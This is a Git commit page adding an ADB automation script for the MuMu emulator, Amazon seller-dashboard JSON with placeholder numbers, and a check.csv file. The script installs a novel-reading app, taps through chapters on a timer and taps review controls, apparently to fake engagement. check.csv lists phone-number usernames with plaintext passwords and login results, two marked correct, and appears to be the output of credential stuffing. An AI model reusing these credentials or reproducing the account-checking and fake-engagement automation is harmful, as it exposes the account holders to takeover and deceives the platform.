PUGE 1 bulan lalu
induk
melakukan
37eca33a3a
18 mengubah file dengan 1403 tambahan dan 9 penghapusan
  1. 3 0
      .vs/ProjectSettings.json
  2. 6 0
      .vs/VSWorkspaceState.json
  3. TEMPAT SAMPAH
      .vs/pythonTest/v16/.suo
  4. TEMPAT SAMPAH
      .vs/slnx.sqlite
  5. 304 0
      MuMu.py
  6. TEMPAT SAMPAH
      __pycache__/ddddocr.cpython-313.pyc
  7. TEMPAT SAMPAH
      __pycache__/ddddocrTest.cpython-313.pyc
  8. 1 0
      amazon/bannerQuery.json
  9. 67 0
      amazon/sellerMetadata.json
  10. 173 0
      amazon/商品绩效.json
  11. 381 0
      amazon/比较销售情况.json
  12. 199 0
      check.csv
  13. TEMPAT SAMPAH
      check.xlsx
  14. 11 0
      ddddocrTest.py
  15. 34 0
      test.py
  16. 48 0
      亚马逊.py
  17. 2 9
      自动批阅.py
  18. 174 0
      语界检测账号.py

+ 3 - 0
.vs/ProjectSettings.json

@@ -0,0 +1,3 @@
+{
+  "CurrentProjectSetting": null
+}

+ 6 - 0
.vs/VSWorkspaceState.json

@@ -0,0 +1,6 @@
+{
+  "ExpandedNodes": [
+    ""
+  ],
+  "PreviewInSolutionExplorer": false
+}

TEMPAT SAMPAH
.vs/pythonTest/v16/.suo


TEMPAT SAMPAH
.vs/slnx.sqlite


+ 304 - 0
MuMu.py

@@ -0,0 +1,304 @@
+import subprocess
+import json
+import time
+import os
+import tkinter as tk
+
+class MuMuEmulatorManager:
+    def __init__(self, manager_path=r"D:\MuMuPlayer\nx_main\MuMuManager.exe"):
+        self.manager_path = manager_path
+        if not os.path.exists(manager_path):
+            raise FileNotFoundError(f"找不到 MuMuManager.exe: {manager_path}")
+    
+    def get_emulator_list(self):
+        """获取所有模拟器列表"""
+        cmd = [self.manager_path, "info", "-v", "all"]
+        result = subprocess.run(cmd, capture_output=True, text=True, encoding='utf-8')
+        
+        if result.returncode != 0:
+            print(f"获取列表失败: {result.stderr}")
+            return []
+        
+        try:
+            data = json.loads(result.stdout)
+            emulators = []
+            for key, value in data.items():
+                if isinstance(value, dict):
+                    value['index'] = key
+                    emulators.append(value)
+            return emulators
+        except json.JSONDecodeError as e:
+            print(f"JSON解析失败: {e}")
+            return []
+    
+    def start_emulator(self, index):
+        """启动指定索引的模拟器 - 使用正确的 launch 命令"""
+        print(f"正在启动模拟器 {index}...")
+        
+        # 正确的命令格式:control -v <index> launch
+        cmd = [self.manager_path, "control", "-v", str(index), "launch"]
+        print(f"执行命令: {' '.join(cmd)}")
+        
+        result = subprocess.run(cmd, capture_output=True, text=True, encoding='utf-8')
+        
+        if result.returncode == 0:
+            print(f"✅ 模拟器 {index} 启动命令已发送")
+            return True
+        else:
+            print(f"❌ 启动失败")
+            if result.stderr:
+                print(f"错误信息: {result.stderr}")
+            if result.stdout:
+                print(f"输出: {result.stdout}")
+            return False
+    
+    def wait_for_emulator_ready(self, index, timeout=120, check_interval=3):
+        """等待模拟器启动完成(Android 系统就绪)"""
+        print(f"\n等待模拟器 {index} 启动完成...")
+        start_time = time.time()
+        
+        while time.time() - start_time < timeout:
+            # 获取模拟器状态
+            cmd = [self.manager_path, "info", "-v", str(index)]
+            result = subprocess.run(cmd, capture_output=True, text=True, encoding='utf-8')
+            
+            if result.returncode == 0:
+                try:
+                    data = json.loads(result.stdout)
+                    # 检查 Android 是否已启动
+                    if data.get('is_android_started') == True:
+                        elapsed = time.time() - start_time
+                        print(f"✅ 模拟器 {index} 已就绪!耗时: {elapsed:.1f} 秒")
+                        return True
+                    elif data.get('is_process_started') == True:
+                        print(f"⏳ 进程已启动,等待 Android 系统... ({int(time.time() - start_time)}秒)")
+                    else:
+                        print(f"⏳ 等待进程启动... ({int(time.time() - start_time)}秒)")
+                except:
+                    pass
+            
+            time.sleep(check_interval)
+        
+        print(f"❌ 超时!模拟器 {index} 在 {timeout} 秒内未就绪")
+        return False
+    
+    def get_adb_port(self, index):
+        """获取模拟器的 ADB 端口"""
+        # 通过 MuMuManager 获取
+        cmd = [self.manager_path, "info", "-v", str(index)]
+        result = subprocess.run(cmd, capture_output=True, text=True, encoding='utf-8')
+        
+        if result.returncode == 0:
+            try:
+                data = json.loads(result.stdout)
+                # 注意:从之前的输出看,info 命令没有直接返回 adb_port
+                # 可能需要通过其他方式获取
+                pass
+            except:
+                pass
+        
+        # 使用 MuMu 默认端口规律:16384 + 32 * index
+        default_port = 16384 + 32 * int(index)
+        print(f"估算 ADB 端口: {default_port}")
+        return default_port
+    
+    def install_apk(self, index, apk_path):
+        """通过 ADB 安装 APK 到模拟器"""
+        # 检查 APK 是否存在
+        if not os.path.exists(apk_path):
+            print(f"❌ 错误:APK 文件不存在: {apk_path}")
+            return False
+        
+        # 获取 ADB 端口
+        adb_port = self.get_adb_port(index)
+        target_device = f"127.0.0.1:{adb_port}"
+        
+        # 连接 ADB
+        print(f"\n连接 ADB {target_device}...")
+        connect_result = subprocess.run(f"adb connect {target_device}", 
+                                    shell=True, capture_output=True, text=True)
+        print(connect_result.stdout.strip())
+        
+        # 等待连接稳定
+        time.sleep(2)
+        
+        # 检查设备连接
+        devices_result = subprocess.run("adb devices", shell=True, capture_output=True, text=True)
+        print(f"\n当前设备列表:\n{devices_result.stdout}")
+        
+        # 检查是否已安装 com.dragon.read
+        print(f"\n检查是否已安装 com.dragon.read...")
+        check_cmd = f"adb -s {target_device} shell pm list packages | findstr \"com.dragon.read\""
+        check_result = subprocess.run(check_cmd, shell=True, capture_output=True, text=True)
+        
+        if "com.dragon.read" in check_result.stdout:
+            print("✅ com.dragon.read 已安装,跳过安装步骤")
+            return True
+        
+        # 安装 APK
+        print(f"\n正在安装 APK: {os.path.basename(apk_path)}")
+        install_cmd = f"adb -s {target_device} install -r \"{apk_path}\""
+        result = subprocess.run(install_cmd, shell=True, capture_output=True, text=True)
+        
+        if "Success" in result.stdout:
+            print("✅ APK 安装成功!")
+            return True
+        else:
+            print("❌ APK 安装失败")
+            print(f"输出: {result.stdout}")
+            if result.stderr:
+                print(f"错误: {result.stderr}")
+            return False
+    
+    def display_emulator_list(self):
+        """显示模拟器列表"""
+        emulators = self.get_emulator_list()
+        
+        if not emulators:
+            print("未找到任何模拟器")
+            return
+        
+        print(f"\n{'='*60}")
+        print(f"找到 {len(emulators)} 个模拟器:")
+        print(f"{'='*60}\n")
+        
+        for i, emu in enumerate(emulators, 1):
+            status = "🟢 运行中" if emu.get('is_process_started') else "🔴 未运行"
+            android_status = "✅ 已启动" if emu.get('is_android_started') else "⏸️ 未启动"
+            print(f"{i}. 索引 {emu.get('index')}: {emu.get('name')}")
+            print(f"   进程状态: {status}")
+            print(f"   Android: {android_status}")
+            print()
+    def open_app(self, index, package_name="com.dragon.read"):
+        """打开指定包名的应用"""
+        # 获取 ADB 端口
+        adb_port = self.get_adb_port(index)
+        target_device = f"127.0.0.1:{adb_port}"
+        
+        # 连接 ADB
+        print(f"\n连接 ADB {target_device}...")
+        subprocess.run(f"adb connect {target_device}", shell=True, capture_output=True)
+        time.sleep(1)
+        
+        # 打开应用(使用 monkey 命令,最通用)
+        print(f"\n正在打开应用: {package_name}")
+        cmd = f"adb -s {target_device} shell monkey -p {package_name} -c android.intent.category.LAUNCHER 1"
+        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
+        
+        if "Events injected" in result.stdout or result.returncode == 0:
+            print(f"✅ 应用已打开: {package_name}")
+            return True
+        else:
+            print(f"❌ 打开失败")
+            print(f"输出: {result.stdout}")
+            if result.stderr:
+                print(f"错误: {result.stderr}")
+            return False
+    def paste_text(self, index, text):
+        """将文字放到系统剪贴板并粘贴"""
+        # 获取 ADB 端口
+        adb_port = self.get_adb_port(index)
+        target_device = f"127.0.0.1:{adb_port}"
+        
+        # 连接 ADB
+        subprocess.run(f"adb connect {target_device}", shell=True, capture_output=True)
+        time.sleep(0.5)
+        # 1. 复制到电脑剪贴板
+        """使用 Windows clip 命令复制到剪贴板"""
+        root = tk.Tk()
+        root.withdraw()
+        root.clipboard_clear()
+        root.clipboard_append(text)
+        root.update()
+        root.destroy()
+        # 将文字设置到剪贴板
+        
+        escape_text = text.replace('"', '\\"').replace("'", "\\'")
+        set_clipboard_cmd = f'adb -s {target_device} shell am broadcast -a clipper.set -e text "{escape_text}"'
+        subprocess.run(set_clipboard_cmd, shell=True, capture_output=True)
+        time.sleep(0.3)
+        
+        # 执行粘贴 (Ctrl+V)
+        subprocess.run(f"adb -s {target_device} shell input keyevent 279", shell=True)
+        
+        print(f"✅ 已粘贴: {text[:50]}{'...' if len(text) > 50 else ''}")
+        return True
+    def tap(self, index, x, y):
+        """点击指定坐标"""
+        # 获取 ADB 端口
+        adb_port = self.get_adb_port(index)
+        target_device = f"127.0.0.1:{adb_port}"
+        
+        # 连接 ADB
+        subprocess.run(f"adb connect {target_device}", shell=True, capture_output=True)
+        
+        # 点击坐标
+        cmd = f"adb -s {target_device} shell input tap {x} {y}"
+        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
+        
+        if result.returncode == 0:
+            print(f"✅ 点击坐标 ({x}, {y})")
+            return True
+        else:
+            print(f"❌ 点击失败: {result.stderr}")
+            return False
+def main():
+    # 配置
+    MANAGER_PATH = r"D:\MuMuPlayer\nx_main\MuMuManager.exe"
+    APK_PATH = r"fanqie.apk"  # 请修改为你的 APK 实际路径
+    TARGET_INDEX = 1  # 第二个模拟器的索引(索引从0开始,1是第二个)
+    
+    # 创建管理器实例
+    try:
+        manager = MuMuEmulatorManager(MANAGER_PATH)
+    except FileNotFoundError as e:
+        print(e)
+        return
+    
+    # 1. 显示所有模拟器列表
+    print("步骤1: 获取模拟器列表")
+    manager.display_emulator_list()
+    
+    # 2. 启动第二个模拟器(索引为1)
+    print(f"\n步骤2: 启动模拟器 {TARGET_INDEX}")
+    if not manager.start_emulator(TARGET_INDEX):
+        print("启动失败,退出")
+        return
+    
+    # 3. 等待模拟器启动完成
+    print(f"\n步骤3: 等待模拟器就绪")
+    if not manager.wait_for_emulator_ready(TARGET_INDEX, timeout=180):
+        print("模拟器未能在规定时间内就绪,退出")
+        return
+    time.sleep(5)
+    # 4. 安装 APK
+    print(f"\n步骤4: 安装 APK")
+    if manager.install_apk(TARGET_INDEX, APK_PATH):
+        print("\n🎉 全部步骤完成!")
+        manager.open_app(TARGET_INDEX, package_name="com.dragon.read")
+        time.sleep(40)
+        manager.tap(TARGET_INDEX, 390, 90)  # 点击输入框坐标(示例)
+        time.sleep(2)
+        manager.paste_text(TARGET_INDEX, "玄幻战神:开局就得到大佬的守护")
+        time.sleep(2)
+        manager.tap(TARGET_INDEX, 655, 92)
+        # 进入数目
+        time.sleep(5)
+        manager.tap(TARGET_INDEX, 355, 333)
+        ind = 0
+        while ind < 10:
+            time.sleep(30)
+            manager.tap(TARGET_INDEX, 710, 632)
+            ind += 1
+        # 评价
+        time.sleep(2)
+        manager.tap(TARGET_INDEX, 360, 690)
+        time.sleep(2)
+        manager.tap(TARGET_INDEX, 680, 95)
+        time.sleep(2)
+        manager.tap(TARGET_INDEX, 633, 930)
+    else:
+        print("\n❌ 运行失败")
+
+if __name__ == "__main__":
+    main()

TEMPAT SAMPAH
__pycache__/ddddocr.cpython-313.pyc


TEMPAT SAMPAH
__pycache__/ddddocrTest.cpython-313.pyc


+ 1 - 0
amazon/bannerQuery.json

@@ -0,0 +1 @@
+{"data":{"getBanners":{"banners":[],"__typename":"BannerList"}}}

+ 67 - 0
amazon/sellerMetadata.json

@@ -0,0 +1,67 @@
+{
+    "data": {
+        "getSellerMetaData": {
+            "marketplaceId": "ATVPDKIKX0DER",
+            "sellerId": "A3QB6ZMCHZCCPS",
+            "asinUrl": "https://www.amazon.com/gp/product/",
+            "amazonPrograms": [
+                "B2B"
+            ],
+            "byDateReports": [
+                {
+                    "reportDefinitionId": "102:SalesTrafficTimeSeries",
+                    "title": "Sales and Traffic",
+                    "translationKey": "REPORT_TITLE_SALES_AND_TRAFFIC",
+                    "__typename": "AvailableReportInfo"
+                },
+                {
+                    "reportDefinitionId": "102:DetailSalesTrafficByTime",
+                    "title": "Detail Page Sales and Traffic",
+                    "translationKey": "REPORT_TITLE_DETAIL_PAGE_SALES_AND_TRAFFIC",
+                    "__typename": "AvailableReportInfo"
+                },
+                {
+                    "reportDefinitionId": "102:SellerPerformanceForMerchants",
+                    "title": "Seller Performance",
+                    "translationKey": "REPORT_TITLE_SELLER_PERFORMANCE",
+                    "__typename": "AvailableReportInfo"
+                }
+            ],
+            "byAsinReports": [
+                {
+                    "reportDefinitionId": "102:DetailSalesTrafficBySKU",
+                    "title": "Detail Page Sales and Traffic",
+                    "translationKey": "REPORT_TITLE_DETAIL_PAGE_SALES_AND_TRAFFIC",
+                    "__typename": "AvailableReportInfo"
+                },
+                {
+                    "reportDefinitionId": "102:DetailSalesTrafficByParentItem",
+                    "title": "Detail Page Sales and Traffic by Parent Item",
+                    "translationKey": "REPORT_TITLE_DETAIL_PAGE_SALES_AND_TRAFFIC_PARENT",
+                    "__typename": "AvailableReportInfo"
+                },
+                {
+                    "reportDefinitionId": "102:DetailSalesTrafficByChildItem",
+                    "title": "Detail Page Sales and Traffic by Child Item",
+                    "translationKey": "REPORT_TITLE_DETAIL_PAGE_SALES_AND_TRAFFIC_CHILD",
+                    "__typename": "AvailableReportInfo"
+                }
+            ],
+            "otherReports": [
+                {
+                    "reportDefinitionId": "SalesOrderByMonth",
+                    "title": "Sales and Orders by Month",
+                    "translationKey": "REPORT_TITLE_SALES_ORDERS_BY_MONTH",
+                    "__typename": "AvailableReportInfo"
+                }
+            ],
+            "localeInfo": {
+                "currencyCode": "USD",
+                "locale": "zh-CN",
+                "timeZone": "America/Los_Angeles",
+                "__typename": "LocaleInfo"
+            },
+            "__typename": "AvailableReports"
+        }
+    }
+}

+ 173 - 0
amazon/商品绩效.json

@@ -0,0 +1,173 @@
+{
+    "dataProviderResponses": {
+        "ProductPerformanceData": {
+            "status": "SUCCESS",
+            "dataProviderIdentifier": "ProductPerformanceData",
+            "data": {
+                "listings": [
+                    {
+                        "isFavorited": false,
+                        "details": {
+                            "title": "Cosplay Wig Sakurajima Mai Grey Long Wig Cosplay Costume Seishun Buta Yarou wa Bunny Girl Senpai no Yume wo Minai Heat Resistant Hair Wigs",
+                            "asin": "B09VFS9K27",
+                            "sku": "B09VFS9K2700",
+                            "imageUrl": "https://m.media-amazon.com/images/I/31n853rNyTS._AC_SS50_.jpg",
+                            "dpUrl": "https://www.amazon.com/dp/B09VFS9K27",
+                            "mypUrl": "/myinventory/inventory?searchField=all&searchTerm=B09VFS9K2700",
+                            "listingRelationship": {
+                                "relationshipType": "STANDALONE",
+                                "numChildren": 0,
+                                "parentAsin": null,
+                                "parentSku": null
+                            }
+                        },
+                        "state": {
+                            "status": "ACTIVE",
+                            "statusAction": null
+                        },
+                        "performance": {
+                            "last30DaysGv": 666,
+                            "last30DaysGms": 777,
+                            "currencyUnit": 888,
+                            "last30DaysUnitsSold": 999
+                        },
+                        "inventory": {
+                            "available": 200,
+                            "fulfillmentChannel": "FBM"
+                        },
+                        "offer": {
+                            "condition": "New",
+                            "price": "39.99",
+                            "currencyUnit": "USD"
+                        },
+                        "actions": [
+                            {
+                                "name": "EDIT_LISTING",
+                                "url": "/abis/listing/edit/offer?sku=B09VFS9K2700&asin=B09VFS9K27&productType=WIG&marketplaceID=ATVPDKIKX0DER#offer",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "ADVERTISE_LISTING",
+                                "url": "/cb/sp/presets?asins=B09VFS9K27",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "VIEW_ASIN_PERFORMANCE",
+                                "url": "/business-reports/xx_homepage_xx#/report?id=102%3ADetailSalesTrafficByChildItem&openPpsSidePanel=true&asins=B09VFS9K27",
+                                "type": "REDIRECT"
+                            }
+                        ]
+                    },
+                    {
+                        "isFavorited": false,
+                        "details": {
+                            "title": "Cosplay Wig Jojo's Bizarre Adventure Cosplay Giorno Giovanna Golden Braided Braids Styled Fake Hair Wig Halloween Party Carnival Role Play W",
+                            "asin": "B09VFS9HLD",
+                            "sku": "B09VFS9HLD00",
+                            "imageUrl": "https://m.media-amazon.com/images/I/412NXH0B7US._AC_SS50_.jpg",
+                            "dpUrl": "https://www.amazon.com/dp/B09VFS9HLD",
+                            "mypUrl": "/myinventory/inventory?searchField=all&searchTerm=B09VFS9HLD00",
+                            "listingRelationship": {
+                                "relationshipType": "STANDALONE",
+                                "numChildren": 0,
+                                "parentAsin": null,
+                                "parentSku": null
+                            }
+                        },
+                        "state": {
+                            "status": "ACTIVE",
+                            "statusAction": null
+                        },
+                        "performance": {
+                            "last30DaysGv": 666,
+                            "last30DaysGms": 777,
+                            "currencyUnit": 888,
+                            "last30DaysUnitsSold": 999
+                        },
+                        "inventory": {
+                            "available": 200,
+                            "fulfillmentChannel": "FBM"
+                        },
+                        "offer": {
+                            "condition": "New",
+                            "price": "39.99",
+                            "currencyUnit": "USD"
+                        },
+                        "actions": [
+                            {
+                                "name": "EDIT_LISTING",
+                                "url": "/abis/listing/edit/offer?sku=B09VFS9HLD00&asin=B09VFS9HLD&productType=WIG&marketplaceID=ATVPDKIKX0DER#offer",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "ADVERTISE_LISTING",
+                                "url": "/cb/sp/presets?asins=B09VFS9HLD",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "VIEW_ASIN_PERFORMANCE",
+                                "url": "/business-reports/xx_homepage_xx#/report?id=102%3ADetailSalesTrafficByChildItem&openPpsSidePanel=true&asins=B09VFS9HLD",
+                                "type": "REDIRECT"
+                            }
+                        ]
+                    },
+                    {
+                        "isFavorited": false,
+                        "details": {
+                            "title": "Cosplay Wig Mikaela Hyakuya Cosplay wig Seraph Of The End Cosplay Short Light Blond Wig Heat Resistant Synthetic hair Anime Wigs",
+                            "asin": "B09VFS8YYC",
+                            "sku": "B09VFS8YYC00",
+                            "imageUrl": "https://m.media-amazon.com/images/I/31aqrPBNl5L._AC_SS50_.jpg",
+                            "dpUrl": "https://www.amazon.com/dp/B09VFS8YYC",
+                            "mypUrl": "/myinventory/inventory?searchField=all&searchTerm=B09VFS8YYC00",
+                            "listingRelationship": {
+                                "relationshipType": "STANDALONE",
+                                "numChildren": 0,
+                                "parentAsin": null,
+                                "parentSku": null
+                            }
+                        },
+                        "state": {
+                            "status": "ACTIVE",
+                            "statusAction": null
+                        },
+                        "performance": {
+                            "last30DaysGv": 666,
+                            "last30DaysGms": 777,
+                            "currencyUnit": 888,
+                            "last30DaysUnitsSold": 999
+                        },
+                        "inventory": {
+                            "available": 200,
+                            "fulfillmentChannel": "FBM"
+                        },
+                        "offer": {
+                            "condition": "New",
+                            "price": "39.99",
+                            "currencyUnit": "USD"
+                        },
+                        "actions": [
+                            {
+                                "name": "EDIT_LISTING",
+                                "url": "/abis/listing/edit/offer?sku=B09VFS8YYC00&asin=B09VFS8YYC&productType=WIG&marketplaceID=ATVPDKIKX0DER#offer",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "ADVERTISE_LISTING",
+                                "url": "/cb/sp/presets?asins=B09VFS8YYC",
+                                "type": "REDIRECT"
+                            },
+                            {
+                                "name": "VIEW_ASIN_PERFORMANCE",
+                                "url": "/business-reports/xx_homepage_xx#/report?id=102%3ADetailSalesTrafficByChildItem&openPpsSidePanel=true&asins=B09VFS8YYC",
+                                "type": "REDIRECT"
+                            }
+                        ]
+                    }
+                ],
+                "skuGroupingFilter": "MOST_INTERACTED",
+                "numTotalListings": 3
+            }
+        }
+    }
+}

+ 381 - 0
amazon/比较销售情况.json

@@ -0,0 +1,381 @@
+{
+    "data": {
+        "getSalesDashboardData": {
+            "salesBreakdownEnabled": true,
+            "snapshotBarResponse": {
+                "avgSalesPerOrderItem": 999.99,
+                "avgUnitsPerOrderItem": 999.99,
+                "lastUpdated": 1.77590162497E12,
+                "orderedProductSales": 999.99,
+                "unitsOrdered": 999.99,
+                "totalOrderItems": 999.99,
+                "__typename": "SnapshotBarResponseType"
+            },
+            "compareSalesChartResponse": {
+                "XAxisPoints": [
+                    "午夜零点",
+                    "凌晨 1 点",
+                    "凌晨 2:00",
+                    "凌晨 3:00",
+                    "凌晨 4 点",
+                    "上午 5:00",
+                    "上午 6 点",
+                    "上午 7:00",
+                    "上午 8:00",
+                    "上午 9 点",
+                    "上午 10 点",
+                    "上午 11:00",
+                    "中午 12 点",
+                    "下午 1 点",
+                    "下午 2 点",
+                    "下午 3 点",
+                    "下午 4 点",
+                    "下午 5:00",
+                    "下午 6:00",
+                    "晚上 7:00",
+                    "晚上 8 点",
+                    "晚上 9 点",
+                    "晚上 10:00",
+                    "晚上 11:00"
+                ],
+                "seriesInfo": [
+                    {
+                        "label": "今天到目前为止",
+                        "orderedProductSalesSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "orderedProductSalesTotalValue": 999.99,
+                        "seriesStartDate": 1.7758908E12,
+                        "unitsOrderedSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "unitsOrderedTotalValue": 999.99,
+                        "__typename": "SDSalesChartSeriesType"
+                    },
+                    {
+                        "label": "昨天",
+                        "orderedProductSalesSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "orderedProductSalesTotalValue": 999.99,
+                        "seriesStartDate": 1.7758044E12,
+                        "unitsOrderedSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "unitsOrderedTotalValue": 999.99,
+                        "__typename": "SDSalesChartSeriesType"
+                    },
+                    {
+                        "label": "上周同一天",
+                        "orderedProductSalesSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "orderedProductSalesTotalValue": 999.99,
+                        "seriesStartDate": 1.775286E12,
+                        "unitsOrderedSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "unitsOrderedTotalValue": 999.99,
+                        "__typename": "SDSalesChartSeriesType"
+                    },
+                    {
+                        "label": "去年同一天",
+                        "orderedProductSalesSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            39.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "orderedProductSalesTotalValue": 39.99,
+                        "seriesStartDate": 1.7444412E12,
+                        "unitsOrderedSeriesPoints": [
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            1.0,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99,
+                            999.99
+                        ],
+                        "unitsOrderedTotalValue": 1.0,
+                        "__typename": "SDSalesChartSeriesType"
+                    }
+                ],
+                "__typename": "CompareSalesChartResponseType"
+            },
+            "compareSalesTableResponse": {
+                "salesRows": [
+                    {
+                        "avgSalesPerOrderItem": 999.99,
+                        "avgUnitsPerOrderItem": 999.99,
+                        "label": "今天到目前为止",
+                        "unitsOrdered": 0,
+                        "totalOrderItems": 0,
+                        "orderedProductSales": 999.99,
+                        "__typename": "SDTableRowType"
+                    },
+                    {
+                        "avgSalesPerOrderItem": 999.99,
+                        "avgUnitsPerOrderItem": 999.99,
+                        "label": "昨天",
+                        "unitsOrdered": 0,
+                        "totalOrderItems": 0,
+                        "orderedProductSales": 999.99,
+                        "__typename": "SDTableRowType"
+                    },
+                    {
+                        "avgSalesPerOrderItem": 999.99,
+                        "avgUnitsPerOrderItem": 999.99,
+                        "label": "上周同一天",
+                        "unitsOrdered": 0,
+                        "totalOrderItems": 0,
+                        "orderedProductSales": 999.99,
+                        "__typename": "SDTableRowType"
+                    },
+                    {
+                        "avgSalesPerOrderItem": 39.99,
+                        "avgUnitsPerOrderItem": 1.0,
+                        "label": "去年同一天",
+                        "unitsOrdered": 1,
+                        "totalOrderItems": 1,
+                        "orderedProductSales": 39.99,
+                        "__typename": "SDTableRowType"
+                    }
+                ],
+                "percentChangeBlocks": [
+                    {
+                        "percentChangeRow": {
+                            "avgSalesPerOrderItem": null,
+                            "avgUnitsPerOrderItem": null,
+                            "label": "变化为 % 昨天",
+                            "orderedProductSales": null,
+                            "totalOrderItems": null,
+                            "unitsOrdered": null,
+                            "__typename": "SDTableRowType"
+                        },
+                        "salesRows": [
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "当天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            },
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "昨天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            }
+                        ],
+                        "__typename": "SDPercentChangeTableBlock"
+                    },
+                    {
+                        "percentChangeRow": {
+                            "avgSalesPerOrderItem": null,
+                            "avgUnitsPerOrderItem": null,
+                            "label": "变化为 % 上周同一天",
+                            "orderedProductSales": null,
+                            "totalOrderItems": null,
+                            "unitsOrdered": null,
+                            "__typename": "SDTableRowType"
+                        },
+                        "salesRows": [
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "当天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            },
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "上周同一天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            }
+                        ],
+                        "__typename": "SDPercentChangeTableBlock"
+                    },
+                    {
+                        "percentChangeRow": {
+                            "avgSalesPerOrderItem": null,
+                            "avgUnitsPerOrderItem": null,
+                            "label": "变化为 % 去年同一天",
+                            "orderedProductSales": null,
+                            "totalOrderItems": null,
+                            "unitsOrdered": null,
+                            "__typename": "SDTableRowType"
+                        },
+                        "salesRows": [
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "当天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            },
+                            {
+                                "avgSalesPerOrderItem": 999.99,
+                                "avgUnitsPerOrderItem": 999.99,
+                                "label": "去年同一天 到 凌晨 3:00 PDT",
+                                "orderedProductSales": 999.99,
+                                "totalOrderItems": 0,
+                                "unitsOrdered": 0,
+                                "__typename": "SDTableRowType"
+                            }
+                        ],
+                        "__typename": "SDPercentChangeTableBlock"
+                    }
+                ],
+                "__typename": "CompareSalesTableResponseType"
+            },
+            "__typename": "SalesDashboardResponseType"
+        }
+    }
+}

+ 199 - 0
check.csv

@@ -0,0 +1,199 @@
+用户名,密码,结果
+13215920135,ye1992121000,帐号或密码错误
+13408860713,yby6810322,帐号或密码错误
+17841599219,czh123456,帐号或密码错误
+13528274786,zhong841050,帐号或密码错误
+13683424640,lin341123,帐号或密码错误
+13380913856,20020823lxy,帐号或密码错误
+13428828123,hh199199,帐号或密码错误
+17614897631,ww427099,您的账户已经注销,如需使用请重新注册
+13189908201,tttt1111,账户已被冻结,如有疑问请联系管理员!
+13859377962,zz445566,帐号或密码错误
+13959953307,aaa551688,帐号或密码错误
+15770098282,12345678n,帐号或密码错误
+18789105082,chenxiao888,帐号或密码错误
+18760280732,chq080601,帐号或密码错误
+18606986166,at123321,帐号或密码错误
+17803787388,yyt12340,密码正确
+17350998897,mk765873,帐号或密码错误
+13645945608,lsm666888,密码正确
+15909902327,ankar109,帐号或密码错误
